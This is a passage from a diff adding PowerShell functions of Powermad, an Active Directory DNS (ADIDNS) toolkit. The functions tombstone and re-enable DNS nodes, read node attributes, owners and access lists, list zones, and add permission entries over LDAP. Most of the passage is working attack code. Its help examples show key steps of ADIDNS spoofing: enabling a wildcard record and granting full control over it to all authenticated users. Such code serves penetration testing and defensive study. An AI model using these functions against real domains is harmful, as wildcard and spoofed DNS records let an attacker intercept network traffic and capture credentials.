System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))" + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node tombstoned" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can turn a tombstoned node back into a valid record. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can turn a tombstoned node back into a valid record. This function should be used in place of + New-ADIDNSNode when working with nodes that already exist due to being previously added. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Enable a wildcard record. + Enable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNSRecord) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can return values populated in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can returns the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can returns the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the owner of a node named test. + Get-ADIDNSNodeOwner -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.PsBase.ObjectSecurity.Owner + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeTombstoned +{ + <# + .SYNOPSIS + This function can determine if a node has been tombstoned. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently + tombstoned. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') + $dnsRecord = $directory_entry.InvokeGet('dnsRecord') + } + catch + { + + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and + $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') + { + Write-Output "[-] $($_.Exception.Message)" + $directory_entry.Close() + throw + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + $node_tombstoned = $false + + if($dnsTombstoned -and $dnsRecord) + { + + if($dnsRecord[0].GetType().name -eq [Byte]) + { + + if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) + { + $node_tombstoned = $true + } + + } + + } + + return $node_tombstoned +} + +function Get-ADIDNSPermission +{ + <# + .SYNOPSIS + This function gets a DACL of an ADIDNS node or zone. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to confirm that a user or group has the required permission + to modify an ADIDNS zone or node. + + .PARAMETER Credential + PSCredential object that will be used to enumerate the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the DACL for the default ADIDNS zone. + Get-ADIDNSPermission + + .EXAMPLE + Get the DACL for an ADIDNS node named test. + Get-ADIDNSPermission -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry_security = $directory_entry.psbase.ObjectSecurity + $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) + $output=@() + + ForEach($ACE in $directory_entry_DACL) + { + $principal = "" + $principal_distingushed_name = "" + + try + { + $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount]) + } + catch + { + + if($ACE.IdentityReference.AccountDomainSid) + { + + if($Credential) + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + } + else + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/" + } + + if($directory_entry_principal.Properties.userPrincipalname) + { + $principal = $directory_entry_principal.Properties.userPrincipalname.Value + } + else + { + $principal = $directory_entry_principal.Properties.sAMAccountName.Value + $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value + } + + if($directory_entry_principal.Path) + { + $directory_entry_principal.Close() + } + + } + + } + + $PS_object = New-Object PSObject + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal + + if($principal_distingushed_name) + { + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name + } + + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags + $output += $PS_object + } + + } + catch + { + + if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*") + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSZone +{ + <# + .SYNOPSIS + This function can return ADIDNS zones. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will + contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed + to the Partition parameter for other Powermad ADIDNS functions. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Partition + (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this + function will loop through all three partitions. + + .PARAMETER Zone + The ADIDNS zone to serach for. + + .EXAMPLE + Get all ADIDNS zones. + Get-ADIDNSZone + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "", + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Partition) + { + + if(!$DistinguishedName) + { + $partition_list = @("DomainDNSZones","ForestDNSZones","System") + } + else + { + $partition_array = $DistinguishedName.Split(",") + $partition_list = @($partition_array[0].Substring(3)) + } + + } + else + { + $partition_list = @($Partition) + } + + ForEach($partition_entry in $partition_list) + { + Write-Verbose "[+] Partition = $partition_entry" + + if(!$DistinguishedName) + { + + if($partition_entry -eq 'System') + { + $distinguished_name = "CN=$partition_entry" + } + else + { + $distinguished_name = "DC=$partition_entry" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry) + + if($Zone) + { + $directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))" + } + else + { + $directory_searcher.filter = "(objectClass=dnszone)" + } + + $search_results = $directory_searcher.FindAll() + + for($i=0; $i -lt $search_results.Count; $i++) + { + $output += $search_results.Item($i).Properties.distinguishedname + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + } + + return $output +} + +function Grant-ADIDNSPermission +{ + <# + .SYNOPSIS + This function adds an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Users that create a new DNS node through LDAP or secure dynamic updates will have full + control access. This function can be used to provide additional accounts or groups access to the node. + Although this function will work on DNS zones, non-administrators will rarely have the ability + to modify an ADIDNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be used for the ACE. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add full access to a wildcard record for "Authenticated Users". + Grant-ADIDNSPermission -Node * -Principal "authenticated users" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + 